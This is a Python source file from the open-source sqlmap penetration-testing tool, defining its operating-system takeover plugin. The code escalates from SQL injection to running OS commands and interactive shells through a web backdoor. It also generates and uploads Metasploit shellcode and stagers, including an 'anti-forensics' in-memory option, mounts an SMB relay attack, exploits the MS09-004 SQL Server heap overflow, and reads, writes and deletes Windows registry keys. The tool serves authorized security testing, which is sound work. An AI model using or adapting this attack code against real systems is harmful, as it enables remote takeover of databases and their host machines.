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389 lines
14 KiB
Python
389 lines
14 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapMissingMandatoryOptionException
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from lib.core.exception import sqlmapNotVulnerableException
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from lib.core.exception import sqlmapUndefinedMethod
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.takeover.abstraction import Abstraction
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from lib.takeover.metasploit import Metasploit
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from lib.takeover.registry import Registry
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from lib.techniques.outband.stacked import stackedTest
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from plugins.generic.misc import Miscellaneous
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class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
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"""
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This class defines generic OS takeover functionalities for plugins.
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"""
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def __init__(self):
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self.cmdTblName = "sqlmapoutput"
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self.tblField = "data"
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Abstraction.__init__(self)
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def osCmd(self):
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stackedTest()
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if kb.stackedTest or conf.direct:
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web = False
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elif not kb.stackedTest and kb.dbms == "MySQL":
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infoMsg = "going to use a web backdoor for command execution"
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logger.info(infoMsg)
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web = True
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else:
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errMsg = "unable to execute operating system commands via "
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errMsg += "the back-end DBMS"
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raise sqlmapNotVulnerableException(errMsg)
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self.initEnv(web=web)
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if not web or (web and self.webBackdoorUrl is not None):
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self.runCmd(conf.osCmd)
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if not conf.osShell and not conf.osPwn and not conf.cleanup:
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self.cleanup()
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def osShell(self):
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stackedTest()
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if kb.stackedTest or conf.direct:
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web = False
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elif not kb.stackedTest and kb.dbms == "MySQL":
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infoMsg = "going to use a web backdoor for command prompt"
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logger.info(infoMsg)
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web = True
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else:
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errMsg = "unable to prompt for an interactive operating "
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errMsg += "system shell via the back-end DBMS"
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raise sqlmapNotVulnerableException(errMsg)
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self.initEnv(web=web)
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if not web or (web and self.webBackdoorUrl is not None):
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self.shell()
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if not conf.osPwn and not conf.cleanup:
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self.cleanup()
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def osPwn(self):
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goUdf = False
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stackedTest()
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if kb.stackedTest or conf.direct:
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web = False
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self.initEnv(web=web)
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self.getRemoteTempPath()
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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msg = "how do you want to execute the Metasploit shellcode "
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msg += "on the back-end database underlying operating system?"
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msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
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msg += "\n[2] Stand-alone payload stager (file system way)"
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while True:
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choice = readInput(msg, default=1)
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if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
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choice = int(choice)
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break
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elif isinstance(choice, int) and choice in ( 1, 2 ):
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break
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else:
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warnMsg = "invalid value, valid values are 1 and 2"
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logger.warn(warnMsg)
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if choice == 1:
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goUdf = True
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if goUdf:
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self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
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else:
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self.createMsfPayloadStager()
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self.uploadMsfPayloadStager()
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if kb.os == "Windows" and conf.privEsc:
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if kb.dbms == "MySQL":
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debugMsg = "by default MySQL on Windows runs as SYSTEM "
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debugMsg += "user, no need to privilege escalate"
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logger.debug(debugMsg)
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elif kb.os != "Windows" and conf.privEsc:
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# Unset --priv-esc if the back-end DBMS underlying operating
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# system is not Windows
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conf.privEsc = False
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warnMsg = "sqlmap does not implement any operating system "
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warnMsg += "user privilege escalation technique when the "
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warnMsg += "back-end DBMS underlying system is not Windows"
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logger.warn(warnMsg)
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elif not kb.stackedTest and kb.dbms == "MySQL":
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infoMsg = "going to use a web backdoor to execute the "
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infoMsg += "payload stager"
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logger.info(infoMsg)
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web = True
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self.initEnv(web=web)
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if self.webBackdoorUrl:
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if kb.os != "Windows" and conf.privEsc:
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# Unset --priv-esc if the back-end DBMS underlying operating
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# system is not Windows
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conf.privEsc = False
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warnMsg = "sqlmap does not implement any operating system "
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warnMsg += "user privilege escalation technique when the "
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warnMsg += "back-end DBMS underlying system is not Windows"
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logger.warn(warnMsg)
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self.getRemoteTempPath()
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self.createMsfPayloadStager()
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self.uploadMsfPayloadStager(web=True)
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else:
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errMsg = "unable to prompt for an out-of-band session via "
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errMsg += "the back-end DBMS"
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raise sqlmapNotVulnerableException(errMsg)
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if not web or (web and self.webBackdoorUrl is not None):
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self.pwn(goUdf)
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if not conf.cleanup:
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self.cleanup()
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def osSmb(self):
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stackedTest()
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self.checkDbmsOs()
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if kb.os != "Windows":
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows: it is not possible to perform the SMB "
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errMsg += "relay attack"
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raise sqlmapUnsupportedDBMSException(errMsg)
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if not kb.stackedTest and not conf.direct:
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if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
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errMsg = "on this back-end DBMS it is only possible to "
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errMsg += "perform the SMB relay attack if stacked "
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errMsg += "queries are supported"
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raise sqlmapUnsupportedDBMSException(errMsg)
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elif kb.dbms == "MySQL":
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debugMsg = "since stacked queries are not supported, "
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debugMsg += "sqlmap is going to perform the SMB relay "
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debugMsg += "attack via inference blind SQL injection"
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logger.debug(debugMsg)
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printWarn = True
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warnMsg = "it is unlikely that this attack will be successful "
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if kb.dbms == "MySQL":
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warnMsg += "because by default MySQL on Windows runs as "
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warnMsg += "Local System which is not a real user, it does "
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warnMsg += "not send the NTLM session hash when connecting to "
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warnMsg += "a SMB service"
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elif kb.dbms == "PostgreSQL":
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warnMsg += "because by default PostgreSQL on Windows runs "
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warnMsg += "as postgres user which is a real user of the "
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warnMsg += "system, but not within the Administrators group"
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elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
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warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
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warnMsg += "runs as Network Service which is not a real user, "
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warnMsg += "it does not send the NTLM session hash when "
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warnMsg += "connecting to a SMB service"
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else:
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printWarn = False
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if printWarn:
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logger.warn(warnMsg)
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self.smb()
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def osBof(self):
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stackedTest()
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if not kb.stackedTest and not conf.direct:
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return
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if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
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errMsg = "the back-end DBMS must be Microsoft SQL Server "
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errMsg += "2000 or 2005 to be able to exploit the heap-based "
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errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
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errMsg += "stored procedure (MS09-004)"
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raise sqlmapUnsupportedDBMSException(errMsg)
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infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
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infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
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infoMsg += "buffer overflow (MS09-004)"
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logger.info(infoMsg)
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self.initEnv(mandatory=False, detailed=True)
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self.getRemoteTempPath()
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self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
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self.bof()
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def uncPathRequest(self):
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errMsg = "'uncPathRequest' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise sqlmapUndefinedMethod, errMsg
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def __regInit(self):
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stackedTest()
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if not kb.stackedTest and not conf.direct:
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return
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self.checkDbmsOs()
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if kb.os != "Windows":
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows"
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raise sqlmapUnsupportedDBMSException(errMsg)
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self.initEnv()
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self.getRemoteTempPath()
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def regRead(self):
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self.__regInit()
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if not conf.regKey:
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default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
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msg = "which registry key do you want to read? [%s] " % default
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regKey = readInput(msg, default=default)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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default = "ProductName"
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msg = "which registry key value do you want to read? [%s] " % default
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regVal = readInput(msg, default=default)
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else:
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regVal = conf.regVal
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infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
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logger.info(infoMsg)
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return self.readRegKey(regKey, regVal, True)
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def regAdd(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to write? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to write? "
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regVal = readInput(msg)
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if not regVal:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regVal = conf.regVal
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if not conf.regData:
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msg = "which registry key value data do you want to write? "
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regData = readInput(msg)
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if not regData:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regData = conf.regData
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if not conf.regType:
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default = "REG_SZ"
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msg = "which registry key value data-type is it? "
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msg += "[%s] " % default
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regType = readInput(msg, default=default)
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else:
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regType = conf.regType
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infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
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infoMsg += "with data '%s'. " % regData
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.addRegKey(regKey, regVal, regType, regData)
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def regDel(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to delete? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to delete? "
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regVal = readInput(msg)
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if not regVal:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regVal = conf.regVal
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message = "are you sure that you want to delete the Windows "
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message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
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output = readInput(message, default="N")
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if output and output[0] not in ( "Y", "y" ):
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return
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infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.delRegKey(regKey, regVal)
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